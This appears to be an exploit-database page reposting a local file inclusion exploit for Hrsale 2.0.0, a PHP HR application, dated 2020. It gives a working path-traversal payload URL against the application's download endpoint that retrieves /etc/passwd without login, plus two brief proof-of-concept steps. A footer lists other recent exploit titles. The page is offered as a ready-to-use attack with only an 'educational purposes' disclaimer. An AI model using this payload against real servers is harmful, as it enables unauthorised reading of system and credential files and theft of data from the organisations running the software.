Hrsale 2.0.0 local file inclusion Vulnerability / Exploit

  /     /     /  

Exploits / Vulnerability Discovered : 2020-10-21 | Type : webapps | Platform : php
This exploit / vulnerability Hrsale 2.0.0 local file inclusion is for educational purposes only and if it is used you will do on your own risk!

[+] Code ...

# Exploit Title: Hrsale 2.0.0 - Local File Inclusion
# Date: 10/21/2020
# Exploit Author: Sosecure
# Vendor Homepage: https://hrsale.com/index.php
# Version: version 2.0.0

Description:
This exploit allow you to download any readable file from server with out permission and login session.

Payload :
https://hrsale/download?type=files&filename=../../../../../../../../etc/passwd
POC:

1. Access to HRsale application and browse to download path with payload
2. Get /etc/passwd

Hrsale 2.0.0 local file inclusion


Last added Exploits Vulnerabilities

▸ soplanning 1.52.01 (simple online planning tool) - remote code execution (rce) (authenticated) ◂
Discovered: 2024-11-15
Type: webapps
Platform: php
▸ rengine 2.2.0 - command injection (authenticated) ◂
Discovered: 2024-10-01
Type: webapps
Platform: multiple
▸ opensis 9.1 - sqli (authenticated) ◂
Discovered: 2024-10-01
Type: webapps
Platform: php



Tags:
Hrsale 2.0.0 local file inclusion Vulnerability / Exploit